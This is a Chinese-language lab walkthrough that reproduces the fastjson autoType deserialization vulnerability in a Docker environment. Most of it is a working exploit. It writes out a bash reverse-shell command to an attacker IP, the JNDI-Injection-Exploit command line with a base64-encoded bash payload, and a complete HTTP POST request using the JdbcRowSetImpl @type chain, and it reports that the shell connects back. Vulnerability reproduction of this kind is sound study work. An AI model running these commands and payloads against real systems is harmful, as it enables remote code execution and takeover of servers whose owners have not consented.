前言
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,的作用就是把java对象转换为json形式,也可 以用来将json转换为java对象。
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
环境搭建
启动测试环境
sudo docker-compose up -d
环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。
漏洞复现
因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。
这是一个比较常用的攻击类com.sun.rowset.JdbcRowSetImpl
这是sun 官方提供的一个类库,这个类的 dataSourceName 支持传入一个rmi 的源,当解析这个 uri 的时候,
就会支持 rmi远程调用 ,去指定的rmi 地址中去调用方法
反弹shell,JNDI注入
反弹shell的命令是下面这个,6565是监听的端口,可以随意改,合理即可。
bash -i >& /dev/tcp/攻击机ip地址/6565 0>&1
使用java执行shell命令需要加密一下
在线地址:https://woj.app/jjm/
接着用就要使用大佬的JNDI工具
首先去下载一下
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
执行如下命令
./java -jar /home/kali/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,加密内容}|{base64,-d}|{bash,-i}" -A "攻击机IP"
紫色的就是payload。
注意:java太高的版本会报如下错误,换低一些的版本就可以
然后另起一个终端,在kali上上开启监听,监听端口为反弹shell的端口6565
然后到攻击步骤。
注意了,这里的Content-Type字段要application/json。否则不行。
POST / HTTP/1.1
Host: 靶机url
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"payload",
"autoCommit":true
}
}
在BP抓包,然后将Host和payload更改,发送请求:
回到kali
成功反弹!!!